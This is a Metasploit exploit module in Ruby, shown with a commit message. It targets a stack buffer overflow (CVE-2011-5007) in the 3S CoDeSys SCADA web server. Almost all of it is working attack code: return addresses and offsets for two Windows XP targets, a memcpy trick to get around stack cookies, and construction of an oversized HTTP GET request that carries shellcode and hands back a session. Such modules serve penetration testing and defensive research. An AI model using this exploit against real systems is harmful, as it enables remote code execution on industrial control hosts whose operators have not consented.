HD Moore
6e80481384
Many of these modules uses sock.get() when they meant get_once() and their HTTP-based checks were broken in some form. The response to the sock.get() was not being checked against nil, which would lead to stack traces when the service did not reply (a likely case given how malformed the HTTP requests were).
135 lines
3.7 KiB
Ruby
135 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a remote stack buffer overflow vulnerability in
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3S-Smart Software Solutions product CoDeSys Scada Web Server Version
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1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and
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earlier.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', # Original discovery and poc
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'Celil UNUVER',
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'TecR0c <roccogiovannicalvi[at]gmail.com>', # Module Metasploit
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'sinn3r',
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'Michael Coppola'
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],
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'References' =>
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[
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[ 'CVE', '2011-5007'],
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[ 'OSVDB', '77387'],
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[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
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[ 'EDB', '18187' ],
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
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# The following clearifies why two people are credited for the discovery
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'false',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'size' => 650,
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'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e\x25\x3a\x5c",
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},
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'Targets' =>
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[
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[
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'CoDeSys v2.3 on Windows XP SP3',
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{
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'Ret' => 0x7E4456F7, # jmp esp user32
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'Offset' => 775
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}
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],
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[
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'CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3',
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{
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# Abuse a memcpy() call to circumvent stack cookies
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'Offset' => 525,
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'Ret' => 0x02CDFD68,
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'Src' => 0x02CDFD58,
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'Dest' => 0x02CDFA14
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 02 2011'
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))
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register_options([Opt::RPORT(8080)], self.class)
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end
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def check
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connect
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sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
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res = sock.get_once
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disconnect
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# Can't flag the web server as vulnerable, because it doesn't
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# give us a version
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vprint_line(res.to_s)
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if res.to_s =~ /3S_WebServer/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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connect
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if target.name =~ /v2\.3/
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buffer = rand_text(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << make_nops(8)
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buffer << payload.encoded
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else
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# CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3
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buffer = rand_text_alphanumeric(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << [target['Src']].pack('V')
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buffer << [target['Dest']].pack('V')
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buffer << [0x7FFFFFFF].pack('V') # Satisfy signed comparison
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buffer << make_nops(8)
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buffer << payload.encoded
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buffer << "\\a"
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end
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sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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res = sock.get_once(-1, 5)
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print_line(res) unless res.nil?
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handler
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disconnect
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end
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end
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=begin
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target.ret verified on:
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- Win XP SP3 unpatched
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- Win XP SP3 fully-patched
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- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
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=end
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